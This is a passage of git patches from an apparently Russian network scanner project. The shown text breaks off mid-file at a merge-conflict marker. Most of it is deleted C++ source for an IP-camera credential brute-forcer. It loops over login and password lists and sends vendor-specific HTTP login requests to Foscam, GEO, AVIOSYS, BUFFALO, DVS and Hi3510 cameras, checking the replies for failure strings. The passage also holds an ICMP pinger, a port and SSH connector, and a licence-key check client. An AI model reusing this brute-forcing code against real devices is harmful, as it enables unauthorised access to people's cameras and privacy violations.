negVector.push_back("0"); - negVector.push_back("-1"); - negVector.push_back("-2"); - negVector.push_back("-3"); - negVector.push_back("-4"); - negVector.push_back("-5"); - negVector.push_back("-6"); - negVector.push_back("-7"); - } - else if(strcmp(SPEC, "AVIOSYS") == 0) - { - negVector.push_back("Password Error"); - } - else if(strcmp(SPEC, "BUFFALO") == 0) - { - negVector.push_back("403 Forbidden"); - } - else if(strcmp(SPEC, "DVS") == 0) - { - negVector.push_back("Non-Existed"); - } - else if(strcmp(SPEC, "IPCAM") == 0) - { - negVector.push_back("var check=\"0\""); - negVector.push_back("var authLevel =\"0\";"); - } - else if(strcmp(SPEC, "IEORFOREFOX") == 0) - { - negVector.push_back("AAA()"); - negVector.push_back("Имя или пароль неверные!"); - negVector.push_back("Возврат"); - negVector.push_back("HTTP/1.0 302 Found"); - } - else - { - stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - for(int i = 0; i < MaxLogin; i++) - { - if(globalScanFlag == false) break; - if(strcmp(loginLst[i], " ") == 0) continue; - ZeroMemory(login, sizeof(login)); - strcpy(login, loginLst[i]); - for(int j = 0; j < MaxPass; j++) - { - if(globalScanFlag == false) break; - if(strcmp(passLst[j], " ") == 0) continue; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, passLst[j]); - - ZeroMemory(request, sizeof(request)); - if(strcmp(SPEC, "IPC") == 0) - { - strcpy(request, "GET /login.xml?user="); - strcat(request, login); - strcat(request, "&usr="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "GEO") == 0) - { - strcpy(request, "GET /Login.cgi?username="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "EasyCam") == 0) - { - strcpy(request, "GET /login.xml?user="); - strcat(request, login); - strcat(request, "&usr="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "Foscam") == 0) - { - strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); - strcat(request, login); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, "&cmd=logIn&usrName="); - strcat(request, login); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "AVIOSYS") == 0) - { - strcpy(request, "GET /check_user.html?UserName="); - strcat(request, login); - strcat(request, "&PassWord="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "BUFFALO") == 0) - { - strcpy(request, "POST /rpc/login HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("user=&password="); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "user="); - strcat(passString, login); - strcat(passString, "&password="); - strcat(passString, pass); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; - } - else if(strcmp(SPEC, "DVS") == 0) - { - strcpy(request, "POST /login HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("langs=en&user=&password=&submit=+Login+"); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "langs=en&user="); - strcat(passString, login); - strcat(passString, "&password="); - strcat(passString, pass); - strcat(passString, "&submit=+Login+"); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; - } - else if(strcmp(SPEC, "IPCAM") == 0) - { - strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name="); - strcat(request, login); - strcat(request, "&-passwd="); - strcat(request, pass); - strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - - } - else if(strcmp(SPEC, "IEORFOREFOX") == 0) - { - strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("username=&userpwd="); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "username="); - strcat(passString, login); - strcat(passString, "&userpwd="); - strcat(passString, pass); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; - }; - - int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); - - if(res == 1) - { - isActive = 0; - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - return lps; - } - else if(res == -1) - { - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - ++passCounter; - }; - }; - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; -}; -lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); - - BConInc(); - lopaStr res = _IPCameraBrute(ip, port, SPEC); - BConDec(); - - return res; -} - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -int _pingMyTarget(char *ip) -{ - HANDLE hIcmpFile; - unsigned long ipaddr = INADDR_NONE; - DWORD dwRetVal = 0; - char SendData[32] = "Data Buffer"; - LPVOID ReplyBuffer = NULL; - DWORD ReplySize = 0; - - ipaddr = inet_addr(ip); - - if (ipaddr == INADDR_NONE) - { - stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]"); - return 0; - } - - hIcmpFile = IcmpCreateFile(); - if (hIcmpFile == INVALID_HANDLE_VALUE) - { - stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]"); - return 0; - } - - ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); - ReplyBuffer = (VOID*) malloc(ReplySize); - if (ReplyBuffer == NULL) - { - stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory."); - return 0; - } - - - dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), - NULL, ReplyBuffer, ReplySize, gPingTimeout); - if (dwRetVal != 0) { - PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; - struct in_addr ReplyAddr; - ReplyAddr.S_un.S_addr = pEchoReply->Address; - printf("\tSent icmp message to %s\n", "127.0.0.1"); - if (dwRetVal > 1) - { - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); - } - else - { - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); - } - - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms."); - return 1; - } - else - { - printf("\tCall to IcmpSendEcho failed.\n"); - printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() ); - if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); - return 0; - }; -}; -#else - -#define DEFDATALEN (64-ICMP_MINLEN) /* default data length */ -#define MAXIPLEN 60 -#define MAXICMPLEN 76 -#define MAXPACKET (65536 - 60 - ICMP_MINLEN)/* max packet size */ - -int _pingMyTarget(char* target) -{ - int s, i, cc, packlen, datalen = DEFDATALEN; - struct hostent *hp; - struct sockaddr_in to, from; - struct ip *ip; - u_char *packet, outpack[MAXPACKET]; - char hnamebuf[MAXHOSTNAMELEN]; - string hostname; - struct icmp *icp; - int ret, fromlen, hlen; - fd_set rfds; - struct timeval tv; - int retval; - struct timeval start, end; - int end_t; - bool cont = true; - - to.sin_family = AF_INET; - - // try to convert as dotted decimal address, else if that fails assume it's a hostname - to.sin_addr.s_addr = inet_addr(target); - if (to.sin_addr.s_addr != (u_int)-1) - hostname = string(target); - else - { - hp = gethostbyname(target); - if (!hp) - { - cerr << "unknown host "<< target << endl; - return -1; - } - to.sin_family = hp->h_addrtype; - bcopy(hp->h_addr, (caddr_t)&to.sin_addr, hp->h_length); - strncpy(hnamebuf, hp->h_name, sizeof(hnamebuf) - 1); - hostname = hnamebuf; - } - packlen = datalen + MAXIPLEN + MAXICMPLEN; - if ( (packet = (u_char *)malloc((u_int)packlen)) == NULL) - { - cerr << "malloc error\n"; - return -1; - } - - if ( (s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) - { - perror("socket"); /* probably not running as superuser */ - return -1; - } - - icp = (struct icmp *)outpack; - icp->icmp_type = ICMP_ECHO; - icp->icmp_code = 0; - icp->icmp_cksum = 0; - icp->icmp_seq = 12345; /* seq and id must be reflected */ - icp->icmp_id = getpid(); - - - cc = datalen + ICMP_MINLEN; - icp->icmp_cksum = in_cksum((unsigned short *)icp,cc); - - gettimeofday(&start, NULL); - - i = sendto(s, (char *)outpack, cc, 0, (struct sockaddr*)&to, (socklen_t)sizeof(struct sockaddr_in)); - if (i < 0 || i != cc) - { - if (i < 0) - perror("sendto error"); - cout << "wrote " << hostname << " " << cc << " chars, ret= " << i << endl; - } - - // Watch stdin (fd 0) to see when it has input. - FD_ZERO(&rfds); - FD_SET(s, &rfds); - // Wait up to one seconds. - tv.tv_sec = 1; - tv.tv_usec = 0; - - while(cont) - { - retval = select(s+1, &rfds, NULL, NULL, &tv); - if (retval == -1) - { - perror("select()"); - return -1; - } - else if (retval) - { - fromlen = sizeof(sockaddr_in); - if ( (ret = recvfrom(s, (char *)packet, packlen, 0,(struct sockaddr *)&from, (socklen_t*)&fromlen)) < 0) - { - perror("recvfrom error"); - return -1; - } - - // Check the IP header - ip = (struct ip *)((char*)packet); - hlen = sizeof( struct ip ); - if (ret < (hlen + ICMP_MINLEN)) - { - cerr << "packet too short (" << ret << " bytes) from " << hostname << endl;; - return -1; - } - - // Now the ICMP part - icp = (struct icmp *)(packet + hlen); - if (icp->icmp_type == ICMP_ECHOREPLY) - { - cout << "Recv: echo reply"<< endl; - if (icp->icmp_seq != 12345) - { - cout << "received sequence # " << icp->icmp_seq << endl; - continue; - } - if (icp->icmp_id != getpid()) - { - cout << "received id " << icp->icmp_id << endl; - continue; - } - cont = false; - } - else - { - cout << "Recv: not an echo reply" << endl; - continue; - } - - gettimeofday(&end, NULL); - end_t = 1000000*(end.tv_sec - start.tv_sec) + (end.tv_usec - start.tv_usec); - - if(end_t < 1) - end_t = 1; - - cout << "Elapsed time = " << end_t << " usec" << endl; - return end_t; - } - else - { - cout << "No data within one seconds.\n"; - return 0; - } - } - return 0; -} - -uint16_t in_cksum(uint16_t *addr, unsigned len) -{ - uint16_t answer = 0; - /* - * Our algorithm is simple, using a 32 bit accumulator (sum), we add - * sequential 16 bit words to it, and at the end, fold back all the - * carry bits from the top 16 bits into the lower 16 bits. - */ - uint32_t sum = 0; - while (len > 1) { - sum += *addr++; - len -= 2; - } - - // mop up an odd byte, if necessary - if (len == 1) { - *(unsigned char *)&answer = *(unsigned char *)addr ; - sum += answer; - } - - // add back carry outs from top 16 bits to low 16 bits - sum = (sum >> 16) + (sum & 0xffff); // add high 16 to low 16 - sum += (sum >> 16); // add carry - answer = ~sum; // truncate to 16 bits - return answer; -} -#endif -QString strIP; -QString strPort; -const char *buff1 = "GET / HTTP/1.1\r\nHost: "; -const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; -int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) -{ - char banner[256] = {0}; - strncpy(banner, _get_ssh_banner(ip, port), 256); - if(strlen(banner) > 0) - { - return _EstablishSSHConnection(ip, port, CSTR, banner); - }; -}; -int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) -{ - if(gPingNScan) - { - if(_pingMyTarget(ip) == 0) - { - return -2; - }; - }; - - char mes[512] = {0}; - conSTR CSTR; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - - int strFlag = 0; - strcpy(mes, buff1); - strcat(mes, ip); - int port = atoi(portC); - if(port != 80){ - strcat(mes, ":"); - strcat(mes, portC); - }; - strcat(mes, buff2); - int cRes; - - if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR); - else if(port == 22) cRes = _SSHLobby(ip, port, &CSTR); - else cRes = _EstablishConnection(ip, port, mes, &CSTR); - int size = CSTR.size; - - if(cRes == -2) return -2; - - if(size > 0 && cRes != -1) - { - ++Alive; - ++found; - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - - Lexems lx; - lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl); - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - - if(CSTR.lowerBuff != NULL) - { - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - strFlag = 1; -}; diff --git a/main.cpp b/main.cpp index 7fd5c26..744d5fb 100644 --- a/main.cpp +++ b/main.cpp @@ -1,7 +1,7 @@ #include "nesca_3.h" #include #include -#if defined(Q_OS_WIN32) +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include #endif From d8d793ee6d95a8c953ea9b7a8069f3be88e5ae3d Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:44:35 +0300 Subject: [PATCH 03/66] rqw --- CheckKey_Th.cpp.BACKUP.2427.cpp | 300 ------------------------------ CheckKey_Th.cpp.BACKUP.2593.cpp | 300 ------------------------------ CheckKey_Th.cpp.BACKUP.2715.cpp | 300 ------------------------------ CheckKey_Th.cpp.BACKUP.2915.cpp | 300 ------------------------------ CheckKey_Th.cpp.BASE.2427.cpp | 0 CheckKey_Th.cpp.BASE.2593.cpp | 0 CheckKey_Th.cpp.BASE.2715.cpp | 0 CheckKey_Th.cpp.BASE.2915.cpp | 0 CheckKey_Th.cpp.LOCAL.2427.cpp | 270 --------------------------- CheckKey_Th.cpp.LOCAL.2593.cpp | 270 --------------------------- CheckKey_Th.cpp.LOCAL.2715.cpp | 270 --------------------------- CheckKey_Th.cpp.LOCAL.2915.cpp | 270 --------------------------- CheckKey_Th.cpp.REMOTE.2427.cpp | 270 --------------------------- CheckKey_Th.cpp.REMOTE.2593.cpp | 270 --------------------------- CheckKey_Th.cpp.REMOTE.2715.cpp | 270 --------------------------- CheckKey_Th.cpp.REMOTE.2915.cpp | 270 --------------------------- CheckKey_Th.cpp.orig | 300 ------------------------------ CheckProxy_Th.cpp.BACKUP.3053.cpp | 208 --------------------- CheckProxy_Th.cpp.BASE.3053.cpp | 0 CheckProxy_Th.cpp.LOCAL.3053.cpp | 154 --------------- CheckProxy_Th.cpp.REMOTE.3053.cpp | 154 --------------- 21 files changed, 4176 deletions(-) delete mode 100644 CheckKey_Th.cpp.BACKUP.2427.cpp delete mode 100644 CheckKey_Th.cpp.BACKUP.2593.cpp delete mode 100644 CheckKey_Th.cpp.BACKUP.2715.cpp delete mode 100644 CheckKey_Th.cpp.BACKUP.2915.cpp delete mode 100644 CheckKey_Th.cpp.BASE.2427.cpp delete mode 100644 CheckKey_Th.cpp.BASE.2593.cpp delete mode 100644 CheckKey_Th.cpp.BASE.2715.cpp delete mode 100644 CheckKey_Th.cpp.BASE.2915.cpp delete mode 100644 CheckKey_Th.cpp.LOCAL.2427.cpp delete mode 100644 CheckKey_Th.cpp.LOCAL.2593.cpp delete mode 100644 CheckKey_Th.cpp.LOCAL.2715.cpp delete mode 100644 CheckKey_Th.cpp.LOCAL.2915.cpp delete mode 100644 CheckKey_Th.cpp.REMOTE.2427.cpp delete mode 100644 CheckKey_Th.cpp.REMOTE.2593.cpp delete mode 100644 CheckKey_Th.cpp.REMOTE.2715.cpp delete mode 100644 CheckKey_Th.cpp.REMOTE.2915.cpp delete mode 100644 CheckKey_Th.cpp.orig delete mode 100644 CheckProxy_Th.cpp.BACKUP.3053.cpp delete mode 100644 CheckProxy_Th.cpp.BASE.3053.cpp delete mode 100644 CheckProxy_Th.cpp.LOCAL.3053.cpp delete mode 100644 CheckProxy_Th.cpp.REMOTE.3053.cpp diff --git a/CheckKey_Th.cpp.BACKUP.2427.cpp b/CheckKey_Th.cpp.BACKUP.2427.cpp deleted file mode 100644 index 64dccb8..0000000 --- a/CheckKey_Th.cpp.BACKUP.2427.cpp +++ /dev/null @@ -1,300 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -<<<<<<< HEAD - - 